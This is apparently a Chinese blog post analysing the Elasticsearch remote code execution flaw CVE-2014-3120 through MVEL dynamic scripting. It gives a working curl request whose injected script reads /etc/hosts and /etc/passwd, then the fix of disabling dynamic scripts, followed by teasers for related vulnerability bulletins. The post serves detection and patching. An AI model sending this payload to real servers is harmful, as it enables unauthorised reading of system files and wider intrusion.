ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析

原理

这个漏洞实际上非常简单,ElasticSearch有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理。

ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。

而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码。

其实官方是清楚这个漏洞的,在文档里有说明:

First, you should not run Elasticsearch as the root user, as this would allow a script to access or do anything on your server, without limitations. Second, you should not expose Elasticsearch directly to users, but instead have a proxy application inbetween. 

检测方法

在线检测:

http://tool.scanv.com/es.html          可以检测任意地址

http://bouk.co/blog/elasticsearch-rce/poc.html   只检测localhost,不过会输出/etc/hosts和/etc/passwd文件的内容到网页上

自己手动检测:

curl -XPOST 'http://localhost:9200/_search?pretty' -d '
{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "/etc/hosts": {
      "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();"
    },
    "/etc/passwd": {
      "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();"
    }
  }
}
'

处理办法

关掉执行脚本功能,在配置文件elasticsearch.yml里为每一个结点都加上:

script.disable_dynamic: true

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts

官方会在1.2版本默认关闭动态脚本。

https://github.com/elasticsearch/elasticsearch/issues/5853

参考:

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-request-script-fields.html

http://bouk.co/blog/elasticsearch-rce/

时间: 2025-01-25 10:40:06

ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析的相关文章

绿盟科技网络安全威胁周报2016.39 请关注PHPMailer远程任意代码执行漏洞CVE-2016-10033

绿盟科技发布了本周安全通告,周报编号NSFOCUS-16-39,绿盟科技漏洞库本周新增30条,其中高危9条.本次周报建议大家关注PHPMailer远程任意代码执行漏洞,目前,目前PHPMailer官方已经发布了补丁,请使用PHPMailer的用户尽快升级. 焦点漏洞 PHPMailer远程任意代码执行漏洞 NSFOCUS ID 35685 CVE ID  CVE-2016-10033 受影响版本 PHPMailer < 5.2.18 漏洞点评 PHPMailer是一个用于发送电子邮件的PHP函数

PHPMailer远程任意代码执行漏洞CVE-2016-10033 900万用户受影响 站长们要小心了

PHPMailer出现漏洞CVE-2016-10033,全球900万用户容易遭受远程攻击.官方目前已经发布新版本,请用户尽快升级.PHPMailer 5.2.18 之前所有版本都受到影响.CVE官方对于该漏洞的描述还处于 保留状态 . PHP Mailer是什么 PHPMailer,用于发送电子邮件的最受欢迎的开源 PHP 库之一,也是PHPMailer是一个用于发送电子邮件的PHP函数包.据估计,世界各地的超过 900 万用户利用此库.数以百万计的使用 PHP 和流行的 CMS,目前包括 Wo

绿盟科技网络安全威胁周报2017.11 关注Apache Struts2 任意代码执行漏洞 CVE-2017-5638

绿盟科技发布了本周安全通告,周报编号NSFOCUS-17-11,绿盟科技漏洞库本周新增136条,其中高危63条.本次周报建议大家关注 Apache Struts2 任意代码执行漏洞 CVE-2017-5638 .目前漏洞细节以及利用工具已经曝光,可导致大规模对此漏洞的利用.强烈建议用户检查自己的Struts2是否为受影响的版本,如果是,请尽快升级. 焦点漏洞 Apache Struts2 任意代码执行漏洞 NSFOCUS ID 36031 CVE ID CVE-2017-5638 受影响版本 A

绿盟科技网络安全威胁周报2017.09 请关注MSIE Edge任意代码执行漏洞CVE-2017-0037

绿盟科技发布了本周安全通告,周报编号NSFOCUS-17-09,绿盟科技漏洞库本周新增41条,其中高危16条.本次周报建议大家关注Microsoft Internet Explorer/Edge任意代码执行漏洞 CVE-2017-0037 .攻击者通过精心构造的网页可以达到远程代码执行的目的.目前尚无任何补丁,建议大家暂时停用IE和Edge. Microsoft Internet Explorer/Edge任意代码执行漏洞 NSFOCUS ID 35978 CVE ID CVE-2017-003

绿盟科技互联网安全威胁周报2016.36 请关注Roundcube任意代码执行漏洞CVE-2016-9920

绿盟科技发布了本周安全通告,周报编号NSFOCUS-16-36,绿盟科技漏洞库本周新增37条,其中高危21条.本次周报建议大家关注 Roundcube任意代码执行漏洞 ,目前漏洞的细节已经披露,可能造成大规模对此漏洞的利用.强烈建议用户检查自己的Roundcube是否为受影响的版本,如果是,请尽快升级. 焦点漏洞 Roundcube任意代码执行漏洞 NSFOCUS ID  35551 CVE ID  CVE-2016-9920 受影响版本 1.1x < 1.1.7.1.2.x < 1.2.3

绿盟科技网络安全威胁周报2017.22 关注Juniper Junos Space任意代码执行漏洞CVE-2017-2306

绿盟科技发布了本周安全通告,周报编号NSFOCUS-17-22,绿盟科技漏洞库本周新增13条,其中高危0条.本次周报建议大家关注 Juniper Networks Junos Space任意代码执行漏洞 .目前厂商已经发布了升级补丁以修复这个安全问题,请到 厂商主页 下载修复. 焦点漏洞 Juniper Networks Junos Space任意代码执行漏洞 NSFOCUS ID 36770 CVE ID CVE-2017-2306 受影响版本 Juniper Networks Junos S

Debian系统被发现存在多个任意代码执行漏洞

据新华社电国家计算机网络入侵防范中心25日发布安全漏洞周报说,18日至24日一周内共发现安全漏洞126个,其中高危漏洞46个. 上周值得关注的漏洞有:Oracle公司发布Java SE的多个未指明漏洞:IBM公司的Lotus Expeditor和Lotus Notes被发现存在多个漏洞:Debian系统被发现存在多个任意代码执行漏洞等. 攻击者成功利用这些漏洞可能执行任意代码.引起拒绝服务.获取权限或造成未知影响.会影响信息的机密性.完整性.可用性,威胁用户隐私安全. 国家计算机网络入侵防范中心

Apache Tika任意代码执行漏洞CVE-2016-6809 如不升级则需MATLAB文件解析功能

Apache Tika出现任意代码执行漏洞,绿盟科技发布安全威胁通告.2016年11月10日(当地时间),seclists.org网站发布了一条消息,通告了一个存在于Apache Tika组件中的任意代码执行漏洞,漏洞编号为CVE-2016-6809. Tika封装了jmatio解析器用以处理MATLAB文件.攻击者可以将任意代码注入到MATLAB文件中,并在解析器对嵌入在该MATLAB文件中的JAVA对象进行反序列化时得到执行. 相关链接地址如下: http://seclists.org/bu

ThinkPHP框架任意代码执行漏洞的利用及其修复方法_php实例

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的.最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布.早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库).RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常